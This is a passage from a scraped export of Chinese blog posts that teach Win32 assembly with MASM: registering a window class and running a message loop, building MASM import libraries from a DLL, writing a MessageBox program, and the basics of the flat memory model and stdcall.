wc.hIcon，eax mov wc.hIconSm，eax invoke LoadCursor，NULL，IDC_ARROW mov wc.hCursor，eax invoke RegisterClassEx， addr w 上面几行从概念上说确实是非常地简单。只要几行指令就可以实现。其中的主要概念就是窗口类（window class），一个窗口类就是一个有关窗口的规范，这个规范定义了几个主要的窗口的元素，如：图标、光标、背景色、和负责处理该窗口的函数。您产生一个窗口时就必须要有这样的一个窗口类。如果您要产生不止一个同种类型的窗口时，最好的方法就是把这个窗口类存储起来，这种方法可以节约许多的内存空间。也许今天您不会太感觉到，可是想想以前 PC 大多数只有 1M 内存时，这么做是非常有必要的。如果您要定义自己的创建窗口类就必须：在一个 WINDCLASS 或 WINDOWCLASSEXE 结构体中指明您窗口的组成元素，然后调用 RegisterClass 或 RegisterClassEx ，再根据该窗口类产生窗口。对不同特色的窗口必须定义不同的窗口类。 WINDOWS有几个预定义的窗口类，譬如：按钮、编辑框等。要产生该种风格的窗口无须预先再定义窗口类了，只要包预定义类的类名作为参数调用 CreateWindowEx 即可。\nWNDCLASSEX 中最重要的成员莫过于lpfnWndProc了。前缀 lpfn 表示该成员是一个指向函数的长指针。在 Win32中由于内存模式是 FLAT 型，所以没有 near 或 far 的区别。每一个窗口类必须有一个窗口过程，当 Windows 把属于特定窗口的消息发送给该窗口时，该窗口的窗口类负责处理所有的消息，如键盘消息或鼠标消息。由于窗口过程差不多智能地处理了所有的窗口消息循环，所以您只要在其中加入消息处理过程即可。下面我将要讲解 WNDCLASSEX 的每一个成员\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 WNDCLASSEX STRUCT DWORD cbSize DWORD ? style DWORD ? lpfnWndProc DWORD ? cbClsExtra DWORD ? cbWndExtra DWORD ? hInstance DWORD ? hIcon DWORD ? hCursor DWORD ? hbrBackground DWORD ? lpszMenuName DWORD ? lpszClassName DWORD ? hIconSm DWORD ? WNDCLASSEX ENDS cbSize：WNDCLASSEX 的大小。我们可以用sizeof（WNDCLASSEX）来获得准确的值。 style：从这个窗口类派生的窗口具有的风格。您可以用“or”操作符来把几个风格或到一起。 lpfnWndProc：窗口处理函数的指针。 cbClsExtra：指定紧跟在窗口类结构后的附加字节数。 cbWndExtra：指定紧跟在窗口事例后的附加字节数。如果一个应用程序在资源中用CLASS伪指令注册一个对话框类时，则必须把这个成员设成DLGWINDOWEXTRA。 hInstance：本模块的事例句柄。 hIcon：图标的句柄。 hCursor：光标的句柄。 hbrBackground：背景画刷的句柄。 lpszMenuName：指向菜单的指针。 lpszClassName：指向类名称的指针。 hIconSm：和窗口类关联的小图标。如果该值为NULL。则把hCursor中的图标转换成大小合适的小图标。 1 2 3 4 5 6 7 8 9 10 11 12 invoke CreateWindowEx， NULL，\\ ADDR ClassName，\\ ADDR AppName，\\ WS_OVERLAPPEDWINDOW，\\ CW_USEDEFAULT，\\ CW_USEDEFAULT，\\ CW_USEDEFAULT，\\ CW_USEDEFAULT，\\ NULL，\\ NULL，\\ hInst，\\ NULL 注册窗口类后，我们将调用CreateWindowEx来产生实际的窗口。请注意该函数有12个参数。\n1 2 3 4 5 6 7 8 9 10 11 12 CreateWindowExA proto dwExStyle：DWORD，\\ lpClassName：DWORD，\\ lpWindowName：DWORD，\\ dwStyle：DWORD，\\ X：DWORD，\\ Y：DWORD，\\ nWidth：DWORD，\\ nHeight：DWORD，\\ hWndParent：DWORD ，\\ hMenu：DWORD，\\ hInstance：DWORD，\\ lpParam：DWORD 我们来仔细看一看这些的参数：\ndwExStyle：附加的窗口风格。相对于旧的CreateWindow这是一个新的参数。在9X/NT中您可以使用新的窗口风格。您可以在Style中指定一般的窗口风格，但是一些特殊的窗口风格，如顶层窗口则必须在此参数中指定。如果您不想指定任何特别的风格，则把此参数设为NULL。 lpClassName：（必须）。ASCIIZ形式的窗口类名称的地址。可以是您自定义的类，也可以是预定义的类名。像上面所说，每一个应用程序必须有一个窗口类。 lpWindowName：ASCIIZ形式的窗口名称的地址。该名称会显示在标题条上。如果该参数空白，则标题条上什么都没有。 dwStyle：窗口的风格。在此您可以指定窗口的外观。可以指定该参数为零，但那样该窗口就没有系统菜单，也没有最大化和最小化按钮，也没有关闭按钮，那样您不得不按Alt+F4 来关闭它。最为普遍的窗口类风格是 WS_OVERLAPPEDWINDOW。 一种窗口风格是一种按位的掩码，这样您可以用or把您希望的窗口风格或起来。像 WS_OVERLAPPEDWINDOW 就是由几种最为普遍的风格or起来的。 X，Y： 指定窗口左上角的以像素为单位的屏幕坐标位置。缺省地可指定为 CW_USEDEFAULT，这样 Windows 会自动为窗口指定最合适的位置。 nWidth，nHeight： 以像素为单位的窗口大小。缺省地可指定为 CW_USEDEFAULT，这样 Windows 会自动为窗口指定最合适的大小。 hWndParent： 父窗口的句柄（如果有的话）。这个参数告诉 Windows 这是一个子窗口和他的父窗口是谁。这和 MDI（多文档结构）不同，此处的子窗口并不会局限在父窗口的客户区内。他只是用来告诉 Windows 各个窗口之间的父子关系，以便在父窗口销毁是一同把其子窗口销毁。在我们的例子程序中因为只有一个窗口，故把该参数设为 NULL。 hMenu： WINDOWS菜单的句柄。如果只用系统菜单则指定该参数为NULL。回头看一看WNDCLASSEX 结构中的 lpszMenuName 参数，它也指定一个菜单，这是一个缺省菜单，任何从该窗口类派生的窗口若想用其他的菜单需在该参数中重新指定。其实该参数有双重意义：一方面若这是一个自定义窗口时该参数代表菜单句柄，另一方面，若这是一个预定义窗口时，该参数代表是该窗口的 ID 号。Windows 是根据lpClassName 参数来区分是自定义窗口还是预定义窗口的。 hInstance： 产生该窗口的应用程序的实例句柄。 lpParam： （可选）指向欲传给窗口的结构体数据类型参数的指针。如在MDI中在产生窗口时传递 CLIENTCREATESTRUCT 结构的参数。一般情况下，该值总为零，这表示没有参数传递给窗口。可以通过GetWindowLong 函数检索该值。 1 2 3 mov hwnd，eax invoke ShowWindow， hwnd，CmdShow invoke UpdateWindow， hwnd 调用CreateWindowEx成功后，窗口句柄在eax中。我们必须保存该值以备后用。我们刚刚产生的窗口不会自动显示，所以必须调用 ShowWindow 来按照我们希望的方式来显示该窗口。接下来调用 UpdateWindow 来更新客户区。\n1 2 3 4 5 6 .WHILE TRUE invoke GetMessage， ADDR msg，NULL，0，0 .BREAK .IF (!eax) invoke TranslateMessage， ADDR msg invoke DispatchMessage， ADDR msg .ENDW 这时候我们的窗口已显示在屏幕上了。但是它还不能从外界接收消息。所以我们必须给它提供相关的消息。我们是通过一个消息循环来完成该项工作的。每一个模块仅有一个消息循环，我们不断地调用 GetMessage 从 Windows 中获得消息。GetMessage 传递一个 MSG 结构体给 Windows ，然后 Windows 在该函数中填充有关的消息，一直到 Windows 找到并填充好消息后 GetMessage 才会返回。在这段时间内系统控制权可能会转移给其他的应用程序。这样就构成了Windows 下的多任务结构。如果 GetMessage 接收到 WM_QUIT 消息后就会返回 FALSE，使循环结束并退出应用程序。TranslateMessage 函数是一个是实用函数，它从键盘接受原始按键消息，然后解释成 WM_CHAR，再把 WM_CHAR 放入消息队列，由于经过解释后的消息中含有按键的 ASCII 码，这比原始的扫描码好理解得多。如果您的应用程序不处理按键消息的话，可以不调用该函数。DispatchMessage 会把消息发送给负责该窗口过程的函数。\n1 2 3 mov eax，msg.wParam ret WinMain endp 如果消息循环结束了，退出码存放在 MSG 中的 wParam中，您可以通过把它放到 eax 寄存器中传给 Windows，目前 Windows 没有利用到这个结束码，但我们最好还是遵从 Windows 规范已防意外。\n1 WndProc proc hWnd：HWND， uMsg：UINT， wParam：WPARAM， lParam：LPARAM 是我们的窗口处理函数。您可以随便给该函数命名。其中第一个参数 hWnd 是接收消息的窗口的句柄。uMsg 是接收的消息。注意 uMsg 不是一个 MSG 结构，其实上只是一个 DWORD 类型数。Windows 定义了成百上千个消息，大多数您的应用程序不会处理到。当有该窗口的消息发生时，Windows 会发送一个相关消息给该窗口。其窗口过程处理函数会智能的处理这些消息。wParam 和 lParam 只是附加参数，以方便传递更多的和该消息有关的数据。\n1 2 3 4 5 6 7 8 9 .IF uMsg==WM_DESTROY invoke PostQuitMessage，NULL .ELSE invoke DefWindowProc，hWnd，uMsg，wParam，lParam ret .ENDIF xor eax，eax ret WndProc endp 上面可以说是关键部分。这也是我们写 Windows 程序时需要改写的主要部分。此处您的程序检查 Windows 传递过来的消息，如果是我们感兴趣的消息则加以处理，处理完后，在 eax 寄存器中传递 0，否则必须调用 DefWindowProc，把该窗口过程接收到的参数传递给缺省的窗口处理函数。所有消息中您必须处理的是 WM_DESTROY，当您的应用程序结束时 Windows 把这个消息传递进来，当您的应用程序接收到该消息时它已经在屏幕上消失了，这仅是通知您的应用程序窗口已销毁，您必须自己准备返回 Windows 。在此消息中您可以做一些清理工作，但无法阻止退出应用程序。如果您要在窗口销毁前做一些额外工作，可以处理 WM_CLOSE 消息。在处理完清理工作后，您必须调用 PostQuitMessage，该函数会把 WM_QUIT 消息传回您的应用程序，而该消息会使得 GetMessage 返回，并在 eax 寄存器中放入 0，然后会结束消息循环并退回 WINDOWS。您可以在您的程序中调用 DestroyWindow 函数，它会发送一个 WM_DESTROY 消息给您自己的应用程序，从而迫使它退出。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-study-3-simple-msgbox/","summary":"\u003cp\u003e这次我们将写一个 Windows 程序，它会在桌面显示一个标准的窗口，以此根据代码来学习如何创建一个简单的窗口。\u003c/p\u003e","title":"Win32汇编学习(3)：简单的窗口"},{"content":"by Iczelion （翻译：花心萝卜yqzq@163.net) 9.5.2000\n这篇短文是讲述关于建立MASM导入库（import libraries）技巧，我假设你已经知道什么是导入库。在下面，我将集中讲述建立MASM导入库的方法。\nMASM导入库的格式： MASM和VC++可以使用相同的导入库，MS导入库使用不同于TASM的OMF格式的变更的COFF文件格式，这就是为什么TASM和MASM的导入库不能互用的原因，我将不详细介绍有关MS导入库的格式。可以这样说，每一个MS导入库都包含某个DLL中函数的信息（你将要用这些信息来调用DLL中的函数），这些信息包括函数名和它所有参数的尺寸。如果你用一个文本编辑器打开kernel32.lib，你回发现一些如下格式的信息：\n1 2 _ExitProcess@4 _CreateProcessA@40 函数名被装饰上了一个“_”，在“@”之后的数字表示了该函数所有参数的尺寸（字节为单位），ExitProcess 函数只有一个DWORD的参数，所以后面的数字是4。 LIB中为什么要包含这些参数尺寸的信息呢？当你用INVOKE调用函数时，这些信息被用来检测传递给函数的参数是否正确。如果你使用“手工”将参数压入堆栈，并通过“CALL”来调用函数的话，MASM将无法检测参数是否正确。这将导致我们几乎没有办法建立一个DLL的导入库，因为DLL并不包含清楚的关于参数尺寸的信息。\n从DLL建立MASM导入库 如果你很乐意用“手动”（CALL）的方法去调用函数的话，你可以象下面这样为任何一个DLL建立MASM的导入库： 使用dumpbin.exe,它可以导出DLL 输出（EXPORT）函数的名字。\n1 Dumpbin /EXPORTS blah.dll \u0026gt; output.txt 在你获得了函数名列表之后，通过他们建立一个模块定义文件（.DEF）。 举个例子：如果DLL只包含一个函数：GetSomeLine 在一个文本文件中输入如下内容：\n1 2 3 LIBRARY blah EXPORTS GetSomeLine 并将其保存为“blah.def\n象这样，运行lib.exe，通过模块定义文件建立一个导入库：\n1 lib /DEF:blah.def 就是它了！你将获得blah.lib,只要你不使用INVOKE调用函数的话，你就可以在MASM中使用它。\n建立通过INVOKE调用函数的MASM导入库: 我并不反对你使用上面的方法，但INVOKE确实是一个调用函数的好途径。这也是我较TASM更喜欢MASM的原因之一。但就象我早先强调的，我们几乎不可能从一个DLL建立一个能100%工作的MASM导入库。如果你使用INVOKE，你将不能用上面的方法建立一个MASM导入库。举个例子，你可以想象如果你在.DEF文件中修改了函数的“@XX”部分，导入库将仍然正常建立，但请相信我，他不会工作的。 建立一个可以使用INVOKE的导入库的一个简单的方法是使用MASM。如果你写过DLL的代码，你会发现你不仅的到了一个DLL，而且还得到了一个导入库，没错，它就是我们要得！ 我们的策略是：\n获得函数名和所有参数的尺寸 建立一个包含正确个数和尺寸的DLL源代码 建立一个描述ASM源代码中相应函数的模块定义文件（.DEF） 将源代码按DLL汇编 你将获得一个功能完全的MASM导入库，上面的步骤应做更多的说明\n获得函数名和所有参数尺寸 这是我们处理过程中最困难的部分了。如果你仅仅只有DLL，你将经历无意义的冒险。下面是我所能想出的方法，不过没有一个能100%工作。\n使用交互式反编译工具（Interactive Disassembler (IDA)）反编译DLL，通过这个奇妙的工具，你可以获得函数参数的大概尺寸，但这些信息是不完全的，IDA是一个功能强大的工具，不过有时必须靠我们自己判断什么是什么。你将不得不仔细分析反编译后的结果。\n观察堆栈指针在调用函数之前和之后的值。方法如下：\n通过GetProcAddress获得函数的地址。 调用想要测试的每一个函数，但请注意，调用这些函数时，不要给他们传递任何的参数。调用前请注意ESP的值。 当函数返回后，比较调用函数前、后ESP的值。基本原理是：stdcall参数调用协定规定，函数自己负责恢复堆栈，现在知道为什么我们要不传递任何参数了吧，我们没传递参数，而函数却自作聪明“恢复”了ESP指针，所以ESP的变化值就是我们要得参数尺寸了。 不过，上面的方法并不是万无一失的，下面的这些情况将会导致失败：\n如果DLL中的函数使用了不同于stdcall的别的参数传递协定。 如果函数在恢复堆栈时失败，我们将无法得到ESP的正确值。 如果这个函数的作用是去做一些危险的事情，比如硬盘格式化，那我们即使得到了ESP，恐怕代价大了点 研究现有的使用DLL的程序，你可以通过调试/反编译这些程序去获得函数参数的个数和尺寸。不论如何，只要有函数在DLL中，而又没有任何程序调用过它，你可以用上面的两个方法。\n建立我们自己的DLL 在你获得了函数的名字和参数尺寸后，你可以建立一个DLL框架并在框架中添加和其他DLL、文件中的相同名称的函数。举个例子，如果DLL只含有一个函数：GetSomeLine.它有16BYTES的参数。在ASM文件中，你可以这样写：\n1 2 3 4 5 6 .386 .model flat,stdcall .code GetSomeLine proc param1:DWORD, param2:DWORD, param3:DWORD, param4:DWORD GetSomeline endp end 你可能要问，“这是什么？”。一个没有处理部分的程序？请记住：一个导入库并没有记录一个函数是如何实现的，它只是记录函数名和参数尺寸而已，它的任务就是提供函数的名称和尺寸。所以我们不需要添加函数的处理部分。当我们建立DLL时，MASM会帮我们完成它的导入库的建立。 MASM在建立导入库时并不关心每个具体参数的尺寸，它总是象下面这样： 1 2 3 4 5 6 .386 .model flat,stdcall .code GetSomeLine proc param1:BYTE, param2:BYTE, param3:BYTE, param4:BYTE GetSomeline endp end 然后MASM将在导入库中建立_GetSomeLine@16(它会把每一个参数看作DWORD)，而并不管它的参数是4个BYTE还是DWORD或是其他什么\n建立匹配的模块定义文件（.DEF） 这是一个简单的工作，你需要这个文件来指导MASM去建立正确的DLL和与之匹配的导入库。一个模块定义文件模板如下：\n1 2 3 LIBRARY \u0026lt;The name of the DLL\u0026gt; EXPORTS \u0026lt;The names of the functions\u0026gt; 你仅仅需要填入DLL的名字，然后在EXPORTS下添入函数的名字。每个函数名一行。保存文件，你将获得一个模块定义文件。\n汇编DLL源代码 最后一步也是最简单的一步，仅仅需要ML.EXE和LINK.EXE\n1 2 ml /c /coff /Cp blah.asm link /DLL /NOENTRY /def:blah.def /subsystem:windows blah.obj 好了，查看一下你的项目目录，你会发现你想要的导入库和DLL。\n转自http://blog.csdn.net/taowen2002/article/details/15837\n","permalink":"https://www.hacktech.cn/post/2018/02/how-to-build-your-own-masm-import-library/","summary":"\u003cp\u003eby Iczelion （翻译：花心萝卜yqzq@163.net) 9.5.2000\u003c/p\u003e\n\u003cp\u003e这篇短文是讲述关于建立MASM导入库（import libraries）技巧，我假设你已经知道什么是导入库。在下面，我将集中讲述建立MASM导入库的方法。\u003c/p\u003e","title":"怎样建立你自己的MASM导入库"},{"content":"这一次，我们将用汇编语言写一个 Windows 程序，程序运行时将弹出一个消息框并显示\u0026quot;你好，我的第一个Win32汇编程序\u0026quot;。\n理论知识 Windows 为编写应用程序提供了大量的资源。其中最重要的是Windows API (Application Programming Interface)。 Windows API是一大组功能强大的函数，它们本身驻扎在 Windows 中供人们随时调用。这些函数的大部分被包含在几个动态链接库(DLL)中，譬如：kernel32.dll、 user32.dll 和 gdi32.dll。 Kernel32.dll中的函数主要处理内存管理和进程调度；user32.dll中的函数主要控制用户界面；gdi32.dll中的函数则负责图形方面的操作。除了上面主要的三个动态链接库，您还可以调用包含在其他动态链接库中的函数，当然您必须要有关于这些函数的足够的资料。\n动态链接库，顾名思义，这些 API 的代码本身并不包含在 Windows 可执行文件中，而是当要使用时才被加载。为了让应用程序在运行时能找到这些函数，就必须事先把有关的重定位信息嵌入到应用程序的可执行文件中。这些信息存在于引入库中，由链接器把相关信息从引入库中找出插入到可执行文件中。您必须指定正确的引入库，因为只有正确的引入库才会有正确的重定位信息。\n当应用程序被加载时 Windows 会检查这些信息，这些信息包括动态链接库的名字和其中被调用的函数的名字。若检查到这样的信息，Windows 就会加载相应的动态链接库，并且重定位调用的函数语句的入口地址，以便在调用函数时控制权能转移到函数内部。\n如果从和字符集的相关性来分，API 共有两类：一类是处理 ANSI 字符集的，另一类是处理 UNICODE 字符集的。前一类函数名字的尾部带一个\u0026quot;A\u0026quot;字符，处理UNICODE的则带一个\u0026quot;W\u0026quot;字符(宽字符)。我们比较熟悉的ANSI字符串是以 0 (NULL) 结尾的一串字符数组，每一个ANSI字符是一个 BYTE 宽。对于欧洲语言体系，ANSI 字符集已足够了，但对于有成千上万个唯一字符的几种象形语言体系来说就只有用 UNICODE 字符集了。每一个 UNICODE 字符占有两个 BYTE 宽，这样一来就可以在一个字符串中使用 65336 个不同字符了。\n这也是为什么引进 UNICODE 的原因。在大多数情况下我们都可以包含一个头文件，在其中定义一个宏，然后在实际调用函数时，函数名后不需要加后缀\u0026quot;A\u0026quot;或\u0026quot;W\u0026quot;。 如在头文件中定义函数foo()；\n1 2 3 4 5 #ifdef UNICODE #define foo() fooW() #else #define foo() fooA() #endif 例子 我先把程序框架放在下面，然后我们再向里面加东西。\n1 2 3 4 5 6 .386 .model flat， stdcall .data .code start： end start 应用程序的执行是从 END 定义的标识符后的第一条语句开始的。在上面的框架程序中就是从 START 开始。程序逐条语句执行一直到遇到 JMP，JNE，JE，RET 等跳转指令。这些跳转指令将把执行权转移到其他语句上，若程序要退出 Windows，则必须调用函数 ExitProcess。\n1 ExitProcess proto uExitCode：DWORD 上面一行是函数原型。函数原型会告诉编译器和链接器该函数的属性，这样在编译和链接时，编译器和链接器就会作相关的类型检查。 函数的原型定义如下：\n1 FunctionName PROTO [ParameterName]：DataType，[ParameterName]：DataType，... 简言之，就是在函数名后加伪指令PROTO，再跟一串由逗号相隔的数据类型链表。在前面的 ExitProcess 定义中，该函数有一个 DWORD 类型的参数。当您使用高层调用语句 INVOKE 时，使用函数原型定义特别有用，您可以简单地认为 INVOKE 是一个有参数类型检查的调用语句。譬如，假设您这样写：\n1 call ExitProcess 若您事先没把一个DWORD类型参数压入堆栈，编译器和链接器都不会报错，但毫无疑问，在您的程序运行时将引起崩溃。但是，当您这样写：\n1 invoke ExitProcess 连接器将报错提醒您忘记压入一个 DWORD 类型参数。所以我建议您用 INVOKE 指令而不是CALL去调用一个函数。INVOKE 的语法如下：\n1 INVOKE expression [，arguments] expression 既可以是一个函数名也可以是一个函数指针。参数由逗号隔开。大多数API函数的原型放在头文件中。 如果您用的是 MASM32，这些头文件在文件夹MASM32/include 下， 这些头文件的扩展名为 INC，函数名和 DLL 中的函数名相同，譬如：KERNEL32.LIB 引出的函数 ExitProcess 的函数原形声明于kernel.inc中。您也可以自己声明函数原型。\n好，我们现在回到ExitProcess 函数，参数uExitCode 是您希望当您的应用程序结束时传递 Windows 的。 您可以这样写：\n1 invoke ExitProcess，0 把这一行放到start标识符下，这个应用程序就会立即退出 Windows，当然毫无疑问个应用程序本身是一个完整的 Windows 程序。\nIDE为Visual MASM，masm32安装在c:\\masm32\n1 2 3 4 5 6 7 8 9 10 11 12 13 386 .model flat， stdcall option casemap：none include c:\\masm32\\include\\windows.inc include c:\\masm32\\include\\kernel32.inc includelib c:\\masm32\\lib\\kernel32.lib .data .code start: invoke ExitProcess，0 end start option casemap：none 一句的意思是告诉 MASM 要区分标号的大小写，譬如：start 和 START 是不同的。请注意新的伪指令 include，跟在其后的文件名所指定的文件在编译时将“插”在该处。在我们上面的程序段中，当MASM处理到语句 include c:\\masm\\include\\windows.inc 时，它就会打开文件夹c:\\masm32\\include 中的文件windows.inc，这和您把整个文件都粘贴到您的源程序中的效果是一样的。 windows.inc 包含了 WIN32 编程所需要的常量和结构体的定义。 但是它不包含函数原型的定义。\n您的应用程序除了从 windows.inc 中得到相关变量结构体的定义外，还需要从其他的头文件中得到函数原型的声明，这些头文件都放在 c:\\masm32\\include 文件夹中。 在我们上面的例子中调用了 kernel.dll 中的函数，所以需要包含有这个函数原型声明的头文件 kernel.inc。如果用文本编辑器打开该文件您会发现里面全是从 kernel.dll中引出的函数的声明。如果您不包含kernel.inc，您仍然可以调用（call）ExitProcess，但不能够调用（invoke）ExitProcess（这会无法通过编译器和连接器的参数合法性检查）。所以若用 invoke 去调用一个函数，您就必须事先声明包含头文件，您完全可以在调用该函数前在源代码的适当位置进行声名。包含头文件主要是为了节省时间（当然还有正确性）\n接下来我们来看看 includelib 伪指令，和 include 不同，它仅仅是告诉编译器您的程序引用了哪个库。当编译器处理到该指令时会在生成的目标文件中插入链接命令告诉链接器链入什么库。当然您还可以通过在链接器的命令行指定引入库名称的方法来达到和用includelib指令相同的目的，但考虑到命令行仅能够传递128个字符而且要不厌其烦地在命令行敲字符，所以这种方法是非常不可取的。\n命令行编译 好了，现在保存例子，取名为msgbox.asm。把 ml.exe（C:\\masm32\\bin） 的路径放到 PATH 环境变量中，键入下面一行 进行编译：\n1 ml /c /coff /Cp msgbox.asm /c 是告诉MASM只编译不链接。这主要是考虑到在链接前您可能还有其他工作要做。 /coff 告诉MASM产生的目标文件用 coff 格式。MASM 的 coff 格式是COFF（Common Object File Format：通用目标文件格式） 格式的一种变体。在 UNIX 下的 COFF 格式又有不同。 /Cp 告诉 MASM 不要更改用户定义的标识符的大小写。在.model 指令下加入 \u0026ldquo;option casemap：none\u0026rdquo; 语句，可达到同样的效果。 当您成功的编译了 msgbox.asm 后，编译器会产生 msgbox.obj 目标文件，目标文件和可执行文件只一步之遥，目标文件中包含了以二进制形式存在的指令和数据，比可执行文件相差的只是链接器加入的重定位信息。 好，我们来链接目标文件：\n1 link /SUBSYSTEM：WINDOWS /LIBPATH：c：\\masm32\\lib msgbox.obj /SUBSYSTEM：WINDOWS 告诉链接器可执行文件的运行平台 /LIBPATH：〈path to import library〉 告诉链接器引入库的路径。 链接器做的工作就是根据引入库往目标文件中加入重定位信息，最后产生可执行文件。 既然得到了可执行文件，我们来运行一下。好，一、二、三，GO！屏幕上什么都没有。哦，对了，我们除了调用了 ExitProcess 函数外，什么都还没做呢！但是别一点成就感都没有哦，因为我们用汇编所写的是一个真正 Windows 程序，不信的话，看看您磁盘上的 msgbox.exe文件。 下面我们来做一点可以看的见摸的着的，我们在程序中加入一个对话框。该函数的原型如下：\n1 MessageBox PROTO hwnd：DWORD， lpText：DWORD， lpCaption：DWORD， uType：DWORD hWnd 是父窗口的句柄。句柄代表您引用的窗口的一个地址指针。它的值对您编 Windows 程序并不重要（译者注：如果您想成为高手则是必须的），您只要知道它代表一个窗口。当您要对窗口做任何操作时，必须要引用该窗口的指针。 lpText 是指向您要显示的文本的指针。指向文本串的指针事实上就是文本串的首地址。 lpCaption 是指向您要显示的对话框的标题文本串指针。 uType 是显示在对话框窗口上的小图标的类型。 下面是源程序\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .386 .model flat,stdcall option casemap:none include \\masm32\\include\\windows.inc include \\masm32\\include\\kernel32.inc includelib \\masm32\\lib\\kernel32.lib include \\masm32\\include\\user32.inc includelib \\masm32\\lib\\user32.lib .data MsgBoxCaption db \u0026#34;可爱的标题\u0026#34;，0 MsgBoxText db \u0026#34;你好，我的第一个Win32汇编程序\u0026#34;，0 .code start: invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK invoke ExitProcess, NULL end start 编译、链接上面的程序段，得到可执行文件。运行，哈哈，窗口上弹出了一个对话框，上面有一行字：“你好，我的第一个Win32汇编程序”。\n好，我们回过头来看看上面的源代码。我们在.DATA“分段”定义了两个NULL结尾的字符串。我们用了两个常量：NULL 和 MB_OK。这些常量在windows.inc 文件中有定义，使用常量使得您的程序有较好的可读性。 addr 操作符用来把标号的地址传递给被调用的函数，它只能用在 invoke 语句中，譬如您不能用它来把标号的地址赋给寄存器或变量，如果想这样做则要用 offset 操作符。在 offset 和 addr 之间有如下区别：\naddr不可以处理向前引用，offset则能。所谓向前引用是指：标号的定义是在invoke 语句之后，譬如在如下的例子：\n1 2 3 4 5 6 invoke MessageBox，NULL， addr MsgBoxText，addr MsgBoxCaption，MB_OK ...... MsgBoxCaption db \u0026#34;可爱的标题\u0026#34;，0 MsgBoxText db \u0026#34;你好，我的第一个Win32汇编程序\u0026#34;，0 如果您是用 addr 而不是 offset 的话，那 MASM 就会报错。\naddr可以处理局部变量而 offset 则不能。局部变量只是在运行时在堆栈中分配内存空间。而 offset 则是在编译时由编译器解释，这显然不能用 offset 在运行时来分配内存空间。编译器对 addr 的处理是先检查处理的是全局还是局部变量，若是全局变量则把其地址放到目标文件中，这一点和 offset 相同，若是局部变量，就在执行 invoke 语句前产生如下指令序列：\n1 2 lea eax， LocalVar push eax 因为lea指令能够在运行时决定标号的有效地址，所以有了上述指令序列，就可以保证 invoke 的正确执行了。\n更方便的编译选择：Visual MASM 新建一个asm后缀文件，用Visual MASM打开，把上面的代码复制进去，点击左上角的Run即可，如图所示。 ","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-2-message-box/","summary":"\u003cp\u003e这一次，我们将用汇编语言写一个 Windows 程序，程序运行时将弹出一个消息框并显示\u0026quot;你好，我的第一个Win32汇编程序\u0026quot;。\u003c/p\u003e","title":"win32 汇编学习(2)：消息框"},{"content":"背景知识 Windows 把每一个 Win32 应用程序放到分开的虚拟地址空间中去运行，也就是说每一个应用程序都拥有其相互独立的 4GB 地址空间，当然这倒不是说它们都拥有 4GB 的物理地址空间，而只是说能够在 4GB 的范围内寻址。操作系统将会在应用程序运行时完成 4GB 的虚拟地址和物理内存地址间的转换。这就要求编写应用程序时必须格守 Windows 的规范，否则极易引起内存的保护模式错误。而过去的 Win16 内存模式下，所有的应用程序都运行于同一个 4GB 地址空间，它们可以彼此\u0026quot;看\u0026quot;到别的程序的内容，这极易导致一个应用程序破坏另一个应用程序甚至是操作系统的数据或代码。\n和 16 位 Windows 下的把代码分成 DATA，CODE 等段的内存模式不同，WIN32 只有一种内存模式，即 FLAT 模式，意思是\u0026quot;平坦\u0026quot;的内存模式，再没有 64K 的段大小限制，所有的 WIN32 的应用程序运行在一个连续、平坦、巨大的 4GB 的空间中。这同时也意味着您无须和段寄存器打交道，您可以用任意的段寄存器寻址任意的地址空间，这对于程序员来说是非常方便的，这也使得用32位汇编语言和用C语言一样方便。 在Win32下编程，有许多重要的规则需要遵守。有一条很重要的是：Windows 在内部频繁使用 ESI，EDI，EBP，EBX 寄存器，而且并不去检测这些寄存器的值是否被更改，这样当您要使用这些寄存器时必须先保存它们的值，待用完后再恢复它们，一个最显著的应用例子就是 Windows 的 CallBack 函数中。\n内容 一般的Win32汇编都有下面的程序段，这是一个Win32汇编编程的基础框架，若您现在还不知道这些指令的确切意义的话，没关系， 随后我就会给大家详细解释。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .386 .MODEL Flat, STDCALL .DATA \u0026lt;Your initialized data\u0026gt; ...... .DATA? \u0026lt;Your uninitialized data\u0026gt; ...... .CONST \u0026lt;Your constants\u0026gt; ...... .CODE \u0026lt;label\u0026gt; \u0026lt;Your code\u0026gt; ..... end \u0026lt;label\u0026gt; 这就是一般Win32汇编编程的基础框架，其中各个关键词的解释说明如下：\n1 .386 这是一个汇编语言伪指令，他告诉编译器我们的程序是使用80386指令集编写的。您还可以使用 .486、.586， 但最安全的还是使用.386。对于每一种CPU有两套几乎功能相同伪指令： .386/.386P、 486/.486P、 586/.586P。 带P的指令标明您的程序中可以用特权级指令。特权级指令是保留给操作系统的，如虚拟设备驱动程序。在大多数时间，您的程序都无须运行在RING0层，故用不带后缀P的伪指令已足够了。\n1 .MODEL FLAT，STDCALL .MODEL 是用来指定内存模式的伪指令，在Win32下，只有一种内存模型，那就是FLAT。 STDCALL 告诉编译器参数的传递约定。参数的传递约定是指参数传达时的顺序(从左到右或从右到左)和由谁恢复堆栈指针(调用者或被调用者)。在Win16下有两种约定：C 和 PASCAL。C 约定规定参数传递顺序是从右到左，即最右边的参数最先压栈，由调用者恢复堆栈指针。\n例如：为调用函数 foo ( int first_param， int second_param， int third_param )； 按C约定的汇编代码应该是这样的：\n1 2 3 4 5 push [third_param] push [second_param] push [first_param] call foo add esp， 3 * 4 ;调用者自己恢复堆栈指针 PASCAL约定和C约定正好相反，它规定参数是从左向右传递，由被调用者恢复堆栈。Win16采用了PASCAL约定， 因为PASCAL约定产生的代码量要小。当不知道参数的个数时，C约定特别有用。如在函数wsprintf () 中， wsprintf预先并不知道要传递几个参数，所以它不知道如何恢复堆栈。STDCALL是C约定和PASCAL约定的混合体，它规定参数的传递是从右到左，恢复堆栈的工作交由被调用者。Win32只用STDCALL约定，但除了一个特例，即：wsprintf。\n1 2 3 4 .DATA .DATA? .CONST .CODE 上面的四个伪指令是\u0026quot;分段\u0026quot;(SECTION)伪指令。我们上面刚讲过Win32下没有\u0026quot;段\u0026quot;(SEGMENT)的概念，但是您可以把您的程序分成不同的\u0026quot;分段\u0026quot;， 